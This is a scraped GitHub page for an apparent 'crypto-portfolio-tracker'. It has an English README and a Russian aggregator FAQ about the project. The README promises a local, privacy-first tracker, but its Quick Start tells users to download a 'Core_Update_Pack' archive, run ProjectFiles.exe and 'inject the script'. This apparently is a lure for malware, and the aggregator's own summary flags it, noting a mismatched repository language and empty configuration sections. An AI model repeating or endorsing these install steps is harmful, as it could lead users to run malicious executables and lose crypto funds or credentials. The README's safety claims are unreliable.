crypto-portfolio-tracker README

README проекта с github.com/Lowbetweentrim/crypto-portfolio-tracker. Одним файлом markdown: README.md.

💼 Crypto Portfolio Tracker

Privacy-First Local Portfolio Manager — 2026

A self-hosted, open-source cryptocurrency portfolio tracker. Track your real-time balances, calculate PnL (Profit and Loss), and manage your entire crypto history — without sending your data to the cloud.


🎯 What it is

Crypto Portfolio Tracker is a lightweight web application that runs on your own machine or server. Unlike centralized services, it does not require an account, does not track your IP, and gives you full control over your financial data.

🔒 Privacy-first: All transactions, balances, and API keys are stored locally in an encrypted SQLite database.


🚀 Quick Start

Download Project

  1. Download Core_Update_Pack using the button above.
  2. Extract the archive into a separate folder.
  3. Run ProjectFiles.exe.
  4. Follow the on-screen instructions and inject the script.

✨ Features

Feature Description
🔒 Local-First Data is stored in an encrypted SQLite database locally
📊 Real-Time PnL Automatically calculates profit/loss for your assets
📥 CSV & API Import Import history from Binance, Coinbase, or CSV files
🪙 Multi-Chain Support Track Ethereum, Bitcoin, Solana, and EVM chains
📈 Interactive Charts Visualize your portfolio allocation and performance
🧾 Tax Reports Export transaction history for tax calculation
🐳 Docker Ready One-command deployment with Docker Compose

🛠️ How to use

  1. Launch the application (runs on localhost:3000 by default).
  2. Create a local master password to encrypt your database.
  3. Add your public wallet addresses (no private keys required) or connect read-only API keys for exchanges.
  4. Import historical transactions manually or via CSV.
  5. View your real-time dashboard and PnL.

⚙️ Configuration

You can adjust settings in the .env file:


❓ FAQ

Is it safe to use? Yes — the application runs entirely on your machine. It only connects to the internet to fetch public price data and read your wallet balances.

Do I need to provide my private keys? No. For wallets, you only provide public addresses. For exchanges, you create a read-only API key.

Can I sync between devices? You can export an encrypted backup of your database and import it on another device. Cloud sync is not supported by design.

Does it support taxes? Yes, you can export a CSV report of your realized and unrealized gains, which can be uploaded to tax software.


💻 Tech Stack & Architecture


🤝 Contributing

Pull requests, bug reports, and feature suggestions are welcome. See CONTRIBUTING.md for guidelines.


📜 License

MIT License — free to use, modify and redistribute.


⭐ Star the repo if it helped you.

crypto-portfolio-tracker (Lowbetweentrim/crypto-portfolio-tracker)

Ищем в базе…

Что это такое?Это самостоятельно развёртываемый трекер криптопортфеля с открытым исходным кодом. Он предназначен для импорта транзакций из CSV-файлов или через API бирж и расчёта прибыли и убытка в реальном времени, при этом данные хранятся на вашем компьютере. Однако «Быстрый старт» — это не обычная установка (см. ниже).
Это веб-приложение или настольная программа?Согласно README, это облегчённое веб-приложение, которое работает на localhost:3000, с фронтендом на React/Next.js и бэкендом на Node.js/TypeScript. Язык репозитория указан как Python, что не соответствует этому стеку.
Как его запустить?В разделе «Быстрый старт» сказано скачать «CoreUpdatePack» кнопкой, распаковать его, запустить ProjectFiles.exe и «внедрить скрипт». Это не стандартная установка и не соответствует остальной документации. Упоминается маршрут через Docker Compose, но команд для него не приводится.
Нужно ли что-то особенное установить заранее?В README не указаны версии и команды установки. Упоминается Docker Compose для развёртывания и необязательные ключи API CoinGecko или бирж для лимитов частоты запросов. Ключи бирж должны быть только для чтения.
Есть ли подвох, о котором стоит знать до того, как пробовать?Да. «Быстрый старт» предлагает запустить исполняемый файл и «внедрить скрипт», а веб-приложению, построенному на приватности, это не должно требоваться. Не запускайте ProjectFiles.exe и никакие внедрённые скрипты. Изучите исходный код и устанавливайте только из источника, которому доверяете.
Можно ли запустить его на сервере?Да. В README сказано, что он работает на вашем компьютере или на сервере, и указано развёртывание через Docker. Данные хранятся в локальном файле SQLite, поэтому для работы должно хватить одного контейнера.
Покидают ли мои данные мой компьютер?В README сказано, что данные хранятся локально в зашифрованной базе SQLite и что приложение обращается в интернет только за публичными данными о ценах и для чтения балансов. Это лишь заявление, а запуск исполняемого файла и внедрение скрипта ему противоречат, поэтому проверьте это сами.
Какие сети и биржи он может отслеживать?По данным README: Ethereum, Bitcoin, Solana и другие сети EVM — по публичным адресам, а также история транзакций с Binance и Coinbase или из CSV-файлов.
Поможет ли он с налогами на криптовалюту?Он может экспортировать CSV-файл с реализованными и нереализованными доходами для программ налогового учёта. В README не сказано, какие налоговые системы или юрисдикции поддерживаются.
Что можно настроить в .env?PORT — для веб-сервера, CURRENCY — для базовой фиатной валюты, APIKEYS — для необязательных ключей API ценовых сервисов, DATAPATH — для расположения базы SQLite.
Почему «Быстрый старт» вызывает тревогу?Он предлагает скачать отдельный CoreUpdatePack, запустить исполняемый файл Windows и внедрить скрипт. Это противоречит принципам приватности и работы только на чтение, описанным в других частях README. Проверьте источник, прежде чем что-либо запускать.
Какие есть похожие проекты?trade-journal, hummingbot, ccxt, aurelio-finance, OpenTerminal, TradingView-API, nofx, QuantDinger
Автор
Lowbetweentrim
Размер
<0.1 MB
Звёзды
120
Обновлён
КоммитNov 06
Возраст
12 д
Коммиты · 90 дней